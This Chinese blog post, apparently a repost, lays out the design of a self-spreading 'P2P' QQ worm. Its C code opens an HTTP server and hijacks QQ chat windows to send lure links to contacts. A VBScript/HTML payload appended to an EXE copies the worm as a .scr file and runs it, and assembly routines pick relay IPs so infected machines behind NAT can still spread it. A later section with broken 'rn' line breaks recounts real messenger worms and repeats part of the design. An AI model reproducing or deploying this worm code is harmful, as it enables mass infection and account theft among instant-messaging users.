基于P2P思想QQ蠕虫的原理

一、基于P2P思想QQ蠕虫的原理

  为了增强蠕虫的健壮性,这里提出一种新思路:每感染一台机器后,都会在本机创建一个最简单的http服务器,然后启动新线程,在新线程中寻找QQ的”发送消息“窗口,一旦找到,通过设置消息文本框的内容并控制”发送消息(&S)"按钮来达到发送欺骗性消息的目的。

  当对方收到消息,点击连接后,就会启动IE,IE和第一台机器的http服务器通信,下载html页面并执行其中的vbs代码,vbs将自身拷贝到机器上并运行,蠕虫完成一次传播。然后在新感染的机器上创建http服务器,再向他的好友发送消息。
 主要代码如下(为节约篇幅,省略不必要的初始化和错误判断):


  1. http服务器的实现

   LisenSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   saServer.sin_family = AF_INET;
   saServer.sin_port = htons(5058);
   saServer.sin_addr.s_addr = INADDR_ANY;
   bind(LisenSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));
   listen(LisenSocket, SOMAXCONN);
   CreateThread(0,0,(LPTHREAD_START_ROUTINE)SendQQMsg,0,0,0);
   while(TRUE)
   {
    peerSocket=accept(LisenSocket,(LPSOCKADDR)&SockAddr,&nLen);SendFile();
   }
   void SendFile()
   {
    BYTE buf[1024];
    DWORD ByteRead;
    ::SetFilePointer(hFile,0,0,FILE_BEGIN);
    ReadFile(hFile,buf,1024,&ByteRead,0);
    while(ByteRead)
    {
       send(peerSocket,(const char *)buf,ByteRead,0);
       ReadFile(hFile,buf,1024,&ByteRead,0);
    }
    closesocket(peerSocket);
    }

  服务器在5058端口阻塞等待,不使用80,是避免防火墙对80号端口的敏感和限制。接受到来自远程的连接(由ie做客户端)后,把html文件传送过去,关闭连接。

  2. 操作QQ线程的实现  

  1) 获得本机IP地址。

  2) 等待出现“发送消息”窗口。

  3) 获得这个窗口的QQ号,也就是这个好友的QQ号。判断是否已经向这个号发送过,如果是,则转1),不是则发送,并在注册表中登记。

  4) 获得文本区句柄,设置新的消息。
  5) 向“发送消息(&S)"按钮发送BM_CLICK消息,发送这条信息。转1)。


  DWORD WINAPI SendQQMsg(LPVOID lpParameter)
  {
    HKEY  hKey;
    char  buf[256];
    HWND  hWnd,hTextWnd,hWndQQNumber,hWndButton;
    char  QQRoot[]= "Software////QQNums////";
    char  QQRootNumber[128];
    int  QQNumberID=0x0DF;
    POINT p={50,280};
    struct hostent * lpHostEnt;
    char  szLocalIP[30];  //形如http://202.118.224.2:5058
    gethostname(buf,256);
    lpHostEnt = ::gethostbyname (buf);
    struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;
    ::lstrcpy(szLocalIP,"http://");
    ::lstrcat(szLocalIP,inet_ntoa(*ia));
    ::lstrcat(szLocalIP,":5058");
    while(TRUE)
    {
        ::Sleep(1000);
        hWnd = ::FindWindow(0,"发送消息");
        if(hWnd==NULL)
            continue;
        hWndQQNumber=::GetDlgItem(hWnd,QQNumberID); 
        if(hWndQQNumber==NULL)
            continue;
        ::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);
        ::lstrcpy(QQRootNumber,QQRoot);
        ::lstrcat(QQRootNumber,buf);
 if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,
KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)
       {
RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);
          hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINVISIBLE);
          ::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);
          hWndButton = FindWindowEx(hWnd,0,0,"送讯息(&S)");
          ::SendMessage(hButton,BM_CLICK,0,0);
          }
    }
    return 1;
}

  3. 发送html页面的实现.

  因为IE识别的是html,而不能执行exe.所以,html要包含exe.然后利用html内嵌的vbs,生成并运行exe,从而达到传播的目的。

  可是,对exe编码和解码具有一定的难度,如何才能使代码最简练,最节约空间呢?这里给出一种新思路。
把exe和html硬编码到一个文件,就相当于将exe文件指针移动到末尾,然后将html文件写到exe之后。这样,当文件扩展名是exe时,就执行exe(因为文件确实是PE结构),扩展名是html时,就当作html解释,此时exe内容就是乱码,显示在ie窗口之中。如下:


    db /'<HTML><HEAD><TITLE>hi</TITLE>/'
    db /'<SCRIPT LANGUAGE="VBScript">/'
    db /'<!--/',0dh,0ah
    db /'Set fso = CreateObject("Scripting.FileSystemObject")/',0dh,0ah
    db /'sf=fso.GetSpecialFolder(1)/',0dh,0ah
    db /'sf=sf & "//PurpleMood.scr"/',0dh,0ah
    db /'tif=fso.GetSpecialFolder(2)/',0dh,0ah
    db /'tif=Left(tif , Len(tif)-4)/',0dh,0ah
    db /'tif=tif & "Temporary Internet Files//Content.IE5"/',0dh,0ah
    db /'Set tif = FSO.GetFolder(tif)/',0dh,0ah
    db /'GenerateAllFolderInformation(tif)/',0dh,0ah
    db /'Set WshShell = CreateObject("WScript.Shell")/',0dh,0ah
    db /'WshShell.Exec(sf)/',0dh,0ah
    db /'Function GenerateFolderInformation(Folder)/',0dh,0ah
    db /'Set Files = Folder.Files/',0dh,0ah
    db /'For Each File In Files/',0dh,0ah
    db /'if StrComp("beautygirl[1].html",File.Name,1) = 0 Then/',0dh,0ah
    db /'fso.CopyFile File.path,sf/',0dh,0ah
    db /'End if/',0dh,0ah
    db /'Next/',0dh,0ah
    db /'End Function/',0dh,0ah
    db /'Function GenerateAllFolderInformation(Folder)/',0dh,0ah   
    db /'Set SubFolders = Folder.SubFolders/',0dh,0ah
    db /'For Each SubFolder In SubFolders/',0dh,0ah
    db /'GenerateFolderInformation(SubFolder)/',0dh,0ah
    db /'Next/',0dh,0ah
    db /'End Function/',0dh,0ah
    db /'-->/'
    db /'</SCRIPT></HEAD><BODY>Thank you for test it!</BODY></HTML>/'

  容易看出,html代码只是exe中的一段数据。exe运行后,创建http服务和监视QQ,继续传播。至此,一个完整的QQ蠕虫就完成了。

  二、局限性与解决方案

  如果目标机器禁止了vbs的运行,同样无法传播。但是,单纯以vbs为传播手段的病毒都可以大行其道,它也可以。  

  基于P2P思想,虽然不受固定服务器的限制。但是在某些情况下无法传播。比如,被感染的机器在内网中,尽管它可以被感染,但无法感染其他机器。因为其他机器找不到它的ip.它无法作为服务器。

  解决方法如下:

  1. 程序体内保存一块空间,是4的倍数(in_addr的大小),用来保存真正的IP.

  2. 在一台机器获得控制权后,得到本机IP(gethostname, gethostbyname),分析是否为内网是则调用SelectTrueIP,从iplist中选择一个真正的ip,否则调用UpdateIPList,更新iplist,因为iplist可能还有未填充项或者过时的ip.验证是否过时向它发出连接即可。
  3.这样,当机器处于内网时,会向好友发出http://trueip:80的消息,对方则向trueip发出连接而不是内网的机器,和DRDos相似。代码如下:


  IsActiveIP    PROC  IP   : DWORD
    LOCAL  VSocket  : DWORD
    push   ecx
    push   IPPROTO_TCP
    push   SOCK_STREAM
    push   AF_INET
    call   socket
    mov   VSocket,eax
    push   IP
    pop   TestIP
  push   sizeof(sockaddr) ; Size of connect strucure=16
    call   IAI1       ; Connect structure
  dw    AF_INET      ; Family
 db    0,80       ; Port number,avoid htons :)
TestIP dd    0         ; in_addr of server
  db    8 dup(0)     ; Unused
IAI1:
 push   VSocket
  call   connect      ;ret 0 if sucess
    push   eax
    push   VSocket
  call   closesocket
    pop   eax
    pop   ecx
  ret   4
IsActiveIP    ENDP
SelectTrueIP: 
    push  64
    pop   ecx
    mov   esi , offset TrueIPList
STI1:  lodsd       
    push  eax
    call  IsActiveIP       ;ret 0 if sucess
    .if   eax  == 0            
        sub  esi , 4
        lodsd  
        jmp  STIExit
    .else  
        loop STI1
    .endif    
    xor   eax , eax
STIExit:
    ret
UpdateTrueIP  PROC  TrueIP : DWORD
    push  64
    pop   ecx
    mov   esi , offset TrueIPList
UT1:  lodsd
    .if   eax == 0
        push TrueIP
        pop  [esi-4]
        jmp  UTExit
    .else
        loop UT1        
    .endif
    push  64
    pop   ecx
    mov   esi , offset TrueIPList
UT2:  
    lodsd
    push  eax
    call  IsActiveIP      ;ret 0 if sucess
    .if   eax  != 0     
        push TrueIP
        pop  [esi-4]    
        jmp  UTExit
    .else    
        loop UT1        
    .endif
UTExit:    
    mov   eax , TrueIP
    ret   4      
UpdateTrueIP  ENDP
TrueIPList   db  256 dup (0)
  三、扩展 


  若把这种方法同时也应用到ICQ,MSN等IM软件,http服务器不变,只是查找发送消息窗口有所不同,但原理一样,只需要少量修改。再有一个SendMSNMsg和SendICQMsg线程即可。考虑到IM软件同时在线人数之多,再辅助以邮件等常规手段,传播速度十分可观。

基于P2P思想QQ蠕虫原理与防治

11-09

基于P2P思想的QQ蠕虫的原理与防治rn rnby pkxp/CVC.GBrnrn一.背景 rnrn以QQ为代表的即时通讯软件,在网络时代迅速而轻易地赢得了无数用户的心,然后以更加惊人的速度普及开去,目前,网络上使用QQ软件的注册人数已经超过1个亿,但树大招风,从今年病毒的发作情况来看,已经有将近100种QQ类型的病毒出现。由此可以看出,利用QQ这类即时通讯工具来进行传播的病毒,已经逐渐成为新病毒的流行趋势。rnrn 2002年8月25日,瑞星全球病毒监控中心截获了一个传染能力极强的恶性QQ病毒——“爱情森林”(trojan.sckiss)。病毒的制作者利用QQ聊天机制,向用户发送“这个你去看看很好看”的信息。如果用户收到此信息,并点击该链接,则会进入一个包含恶性攻击代码的恶意网页,此时病毒将会被自动下载并发作。同时,病毒还会利用用户的QQ好友名单,继续向外扩散而且病毒会侵占系统目录,继续“生生不息”。“爱情森林”病毒通过QQ发送信息之后,便开始进行本机的感染。rnrn 据悉,这种恶意网页用JS脚本语言编写,利用了JAVAEXPLOIT漏洞,所以不经用户的允许,便可以悄悄自动下载“爱情森林”病毒并执行。而后此恶意网页会修改用户注册表以进行破坏,并将用户的IE标题和IE默认首页改为:sckiss.yeah.net"target="_new">http://sckiss.yeah.net爱情森林。rnrn 另一个名叫“QQ伪装专家”的新型恶性病毒会将真正的QQ程序改名,然后将自身伪装成QQ程序,并在桌面上建立快捷方式。用户点击这个快捷方式后,屏幕上会出现同真QQ一样的界面,当用户登录时,病毒便会将用户的QQ号码与密码偷偷发送到指定的邮箱,用句QQ迷们的语言就是,“你的QQ被黑了!”;rnrn 在原理上,这个病毒和QQ毫无关系,只是利用人们对QQ 的熟悉性来欺骗用户而已。rnrn 必须注意的是,微软力推的一款即时通讯软件MSN Messenger,因为它与Windows系统的完美结合,用户群不在少数。2002年10月9日下午,金山公司反病毒应急处理中心截获了一例通过MSN聊天工具进行广泛传播的电脑病毒“GFleming”,经证实,这是世界上第一例通过微软即时聊天工具MSN Messager进行大规模传播的电脑病毒。“GFleming”病毒的传播非常的迅速,一旦用户感染该病毒,该蠕虫会首先查看用户是否安装了MSN Messager并且已经登录。若用户已经登录,该蠕虫就会通过MSN Messager的对话窗口向所有联系人名单中的人发送欺骗性的信息:rnrnHey!! Could you please check out this program for me? I made it myself and want people to test it. Its a readme with the program that explains what it does! http://home.no.net/downl0ad/BR2002.exe <-- There you can download it! give me advices on what to upgrade please!! rnrn收到该信息的用户不小心点击这个链接执行了这个蠕虫的话,蠕虫就会继续通过MSN Messager向其他联系人发送同样的信息,引起连锁反应,造成病毒的快速传播。rnrn ‘Cool Worm‘的病毒的欺骗消息是:"Go To http://www.masenko-media.net/cool.html NoW !!!"点击这个连接会打开一个带有恶意Javascript程序的网站,他会抢夺受害者的好友名单,并且先每个人发送一个相同的邀请信息。这个信息同时也将地址发送电子邮件到名为mmargae@wanadoo.nl的信箱中。 rnrn 类似的病毒还有几例,原理相同,这里不再一一枚举。rnrn 总之,这类病毒的共性是:rnrn 一旦在机器上获得控制权,会首先查看用户是否安装了QQ或MSN Messager,发现后,该蠕虫就会通过对话窗口向在线好友发送欺骗性的信息,信息包含一个超级连接,因为在接受窗口中可以直接点击连接,启动IE,IE会和这个服务器连接,下载html页面。这个页面中含有恶意代码,把蠕虫下载到本机并运行,完成了一次传播。然后再以这台机器为基点,向本机所能发现的好友发送同样的欺骗性消息,传播迅速。rnrn 欺骗信息一般是邀请你去发送过来的网址去看看,如“看看这个,好东西 http://www.xxx.com/cool.html"。rnrn 从传播手段上看,病毒传播是一种C/S模式,即每台机器都是从指定的服务器下载,比如GFleming是,http://home.no.net;QQ密码记录器是http://xmc.nease.net;‘Cool Worm‘是http://www.masenko-media.net/.这种方法的局限性是,一旦网站被封闭,病毒也就寿终正寝,不攻自灭了。rnrn rnrn二.基于P2P思想QQ蠕虫的原理rnrn 为了增强蠕虫的健壮性,这里提出一种新思路:每感染一台机器后,都会在本机创建一个最简单的http服务器,然后启动新线程,在新线程中寻找QQ的”发送消息“窗口,一旦找到,通过设置消息文本框的内容并控制”发送消息(&S)"按钮来达到发送欺骗性消息的目的。rnrn 当对方收到消息,点击连接后,就会启动IE,IE和第一台机器的http服务器通信,下载html页面并执行其中的vbs代码,vbs将自身拷贝到机器上并运行,蠕虫完成一次传播。然后在新感染的机器上创建http服务器,再向他的好友发送消息。rnrn 主要代码如下(为节约篇幅,省略不必要的初始化和错误判断):rnrn1. http服务器的实现rnrn rnrn LisenSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);rnrn saServer.sin_family = AF_INET;rnrn saServer.sin_port = htons(5058);rnrn saServer.sin_addr.s_addr = INADDR_ANY;rnrn bind(LisenSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));rnrn listen(LisenSocket, SOMAXCONN);rnrn rnrn CreateThread(0,0,(LPTHREAD_START_ROUTINE)SendQQMsg,0,0,0);rnrn rnrn while(TRUE)rnrn rnrn peerSocket=accept(LisenSocket,(LPSOCKADDR)&SockAddr,&nLen); SendFile(); rnrn rnrn rnrn void SendFile()rnrn rnrn BYTE buf[1024];rnrn DWORD ByteRead;rnrnrnrn ::SetFilePointer(hFile,0,0,FILE_BEGIN);rnrn rnrn ReadFile(hFile,buf,1024,&ByteRead,0);rnrn while(ByteRead)rnrn rnrn send(peerSocket,(const char *)buf,ByteRead,0); rnrn ReadFile(hFile,buf,1024,&ByteRead,0);rnrn rnrn closesocket(peerSocket);rnrn rnrn 服务器在5058端口阻塞等待,不使用80,是避免防火墙对80号端口的敏感和限制。接受到来自远程的连接(由ie做客户端)后,把html文件传送过去,关闭连接。rnrnrnrn2. 操作QQ线程的实现 rnrn 1) 获得本机IP地址。rnrn 2) 等待出现“发送消息”窗口。rnrn 3) 获得这个窗口的QQ号,也就是这个好友的QQ号。判断是否已经向这个号发rnrn 送过,如果是,则转1),不是则发送,并在注册表中登记。rnrn 4) 获得文本区句柄,设置新的消息。rnrn 5) 向“发送消息(&S)"按钮发送BM_CLICK消息,发送这条信息。转1)。 rn

没有更多推荐了,返回首页

私密
私密原因:
请选择设置私密原因
  • 广告
  • 抄袭
  • 版权
  • 政治
  • 色情
  • 无意义
  • 其他
其他原因:
120
出错啦
系统繁忙,请稍后再试

关闭